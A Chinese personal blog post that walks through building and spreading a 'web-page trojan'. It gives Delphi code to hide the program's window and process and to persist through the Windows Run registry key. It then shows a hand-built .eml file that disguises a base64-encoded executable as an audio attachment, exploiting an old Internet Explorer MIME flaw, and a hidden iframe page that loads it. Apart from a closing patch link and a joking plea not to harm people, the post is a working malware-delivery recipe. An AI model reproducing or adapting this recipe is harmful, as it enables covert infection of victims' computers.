悦's profile微程小筑PhotosBlogLists Tools Help
    24 May

    《旧文章整理》网页木马之我所见

    几天前我中了一个木马,当时我很纳闷,我第一没有收过邮件,第二没有收过朋友从QQ里传来的文件,为什么我会中木马呢?于是查了一下有关资料,才发现网页也有嵌入的可能。究其原因,这是因为微软公司的在2000年发布的MIME/BASE64处理漏洞所引起的,不过这个漏洞只适用于IE5.5以下的版本的浏览器。
    那么MIME是什么呢?其实MIME是Multimedia Internet Mail Extensions的缩写,是一种技术规范。而现在主要是用在扩展邮件功能上,而MIME的用处其实还不止这个,我们的B/S方式的实现其实里面就包括了MIME,它是HTTP协议的一部份。
    概念我就不多说了,下面说一说这个木马的实现思路:
    1、首先我们要写一个普通的木马。
    2、把木马打包在*.eml文件里(打完包后不知道的人还以为是尼姆达,呵呵)。
    3、把*.eml嵌入网页。
    而在这里我们所要到的工具有:
    1、一个普通的编程台平(如Delphi、VB、VC,而我在这里用的工具是delphi)
    2、邮件编辑器(在这里我用到的是FoxMail)
    3、HTML编辑工具(在这里我用到的是记事本)
    好了,思路和环境我们都有了就让我们一步一步来实现这个木马吧~~~,首先我们先用Delphi做一个最基本的木马框架(在这里只建立一个框架,里面的肉你们就自己来填吧)。
    1、首先我们应该在木马创建主窗口时就把其隐藏起来,大家一定会首先想到的是在form的FormCreate事件里用窗口的HIDE方法把其隐藏,那你就错了,如果像这里做程序运行时会报错,而我们应该在FormCreate事件里加入一句application.showmainform:=false;这样主窗口就在运行时得到隐藏。
    2、我们应该把程序的进程所隐藏,做对方用CTRL+ALT+DEL在"关闭程序"对话框里看不到。我们就要用API函数RegisterServiceProcess来把当前进程变为一个系统服务,从而在任务列表中把程序隐藏起来,这个函数的用法为:
    DWORD RegisterServiceProcess(DWORD dwProcessId,
        DWORD dwType);
    不过在用之前必须从KERNEL32.DLL里重载出来。在程序里的具体用法如下:
    implementation
    function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
    {$R *.DFM}
    procedure TForm1.FormCreate(Sender: TObject);
    begin
      RegisterServiceProcess(GetCurrentProcessID, 1);//注册服务
    end;
    而GetCurrentProcessID是得本程序的程序ID,1表示为当进程注册成为系统服务。
    3、把程序在下次系统起动时加载。首先我们应该在uses下加入registry单元,然后在主窗口的FormCreate事件里把本程序加入到windows注册表里的自动运行项(HKEY_LOCAL_MACHINE\\Software\MicroSoft\Windows\CurrentVersion\Run)里面。好了,我们看看具体程序怎么实现:
    RegF:=TRegistry.Create;//创建Registry组件,这个组件是专门针对注册表操作的组件
    RegF.RootKey :=HKEY_LOCAL_MACHINE;//把根键设为HKEY_LOCAL_MACHINE
    RegF.OpenKey('Software\MicroSoft\Windows\CurrentVersion\Run',True);//打开Software\MicroSoft\Windows\CurrentVersion\Run子键
    RegF.WriteString('sys',ParamStr(0));//在里面写入本程序的路径
    RegF.Free;//释放Registry组件。
    好了,以上我们所做成的就是一个木马的框架了,下面我们看看怎么把这个程序打包在*.eml程序里面。而这时我们要把我们的程序变成BASE64编码才能嵌入*.eml文件当中,在这里我们省点事,用foxmail搞定吧~。首先我们在foxmail里面创建一封邮件并保存。打开发件箱,你会发现这封邮件在里面。用右件单击这封邮件,在弹出菜单中单击“原始信息”,再点击全部,这时你就会在filename="Project1.exe"一些“乱码”,这些乱码就是变成BASE64编码的程序。
    现在先把这些BASE64编码的程序放在一边,我们来看看这个特殊邮件是怎么实现的。通常我们知道一个邮件分为包头,正文,副件,包尾组成的,在这里,我会对整个过程序进行一个解析:
    1、打开记事本。
    2、我们来写在记事本里写入包头信息:
    From: "xxxxx"//邮件来自的地址,你没有那么笨会把自己的邮件地址写在这里吧,呵呵~
    Subject: mail//邮件标题。
    Date: Thu, 2 Nov 2000 13:27:33 +0100//日期
    MIME-Version: 1.0//MIME的版本信息
    Content-Type: multipart/related;  //联接的类型。
     type="multipart/alternative";
     boundary="1"
    X-Priority: 3//优先级
    X-MSMail-Priority: Normal//微软邮件优先级
    X-Unsent: 1//未寄出信息
    3、写入正文内容,这一部份以HTML邮件形式写入并在正文处写入一个内嵌框架,框架打开的是嵌入附件的标识,如:
    --1
    Content-Type: multipart/alternative;
     boundary="2"
    --2
    Content-Type: text/html;
     charset="iso-8859-1"
    Content-Transfer-Encoding: quoted-printable
    <HTML>
    <HEAD>
    </HEAD>
    <BODY bgColor=3D#ffffff>
    <iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>//而THE-CID就是附件的标识
    ok<BR>
    </BODY>
    </HTML>
    --2--

    4、写入邮件的附件部份:
    --1
    Content-Type: audio/x-wav;
          name="XX.exe" //此处为生成的临时文件的文件名
    Content-Transfer-Encoding: base64 //编码方式
    Content-ID: <THE-CID> //副件的连接ID

    ……… //把你刚刚用Foxmail编好的 base64编码的可执行程序拷在这里吧

    5、最后写入包尾,其实包尾只有一句话,那就是:

    ------=_NextPart_000_0009_01C2EECC.16E8F4A0--

    这样我们就完成了整个邮件包的制作,然后把其存为*.txt文件,导入foxmail里,最后把它倒出为*.eml文件。这样我们的打包过程也就结束了。双击一下我们刚生成的邮件文件,这时它会执行你刚刚所编写的木马文件~~(哈哈,害人害已敢吧~)
    最后我们如果把这个文件插入网页呢?其实方法很简单,我们只需要建立一个内嵌框架把那个*.eml文件当作网页写入就可以了,我们看一下具体代码:
    <html>
    <body>
    <iframe name="I1" src="XX.eml" width="0" height="0" marginwidth="1" marginheight="1" border="0" frameborder="0">//XX.eml就是我们刚刚导出的*.eml文件
    </iframe>
    </body>
    </html>
    好了,我们已经看清楚了这类木马的整个制作过程,试着自己也写一下,不过请不要害人呀,如果您是win98+IE5.5以下的读者请上微软的网站:http://www.microsoft.com/windows/ie/downloads/critical/q290108/default.asp 去下载一个补丁装一下吧,不要向我一样的中别人的招,请也不要用此技术到处害人哦~~~

    Comments (1)

    Please wait...
    Sorry, the comment you entered is too long. Please shorten it.
    You didn't enter anything. Please try again.
    Sorry, we can't add your comment right now. Please try again later.
    To add a comment, you need permission from your parent. Ask for permission
    Your parent has turned off comments.
    Sorry, we can't delete your comment right now. Please try again later.
    You've exceeded the maximum number of comments that can be left in one day. Please try again in 24 hours.
    Your account has had the ability to leave comments disabled because our systems indicate that you may be spamming other users. If you believe that your account has been disabled in error please contact Windows Live support.
    Complete the security check below to finish leaving your comment.
    The characters you type in the security check must match the characters in the picture or audio.

    To add a comment, sign in with your Windows Live ID (if you use Hotmail, Messenger, or Xbox LIVE, you have a Windows Live ID). Sign in


    Don't have a Windows Live ID? Sign up

    20 Aug.

    Trackbacks

    The trackback URL for this entry is:
    http://mprogramer.spaces.live.com/blog/cns!3A4015E3796B1CB9!116.trak
    Weblogs that reference this entry
    • None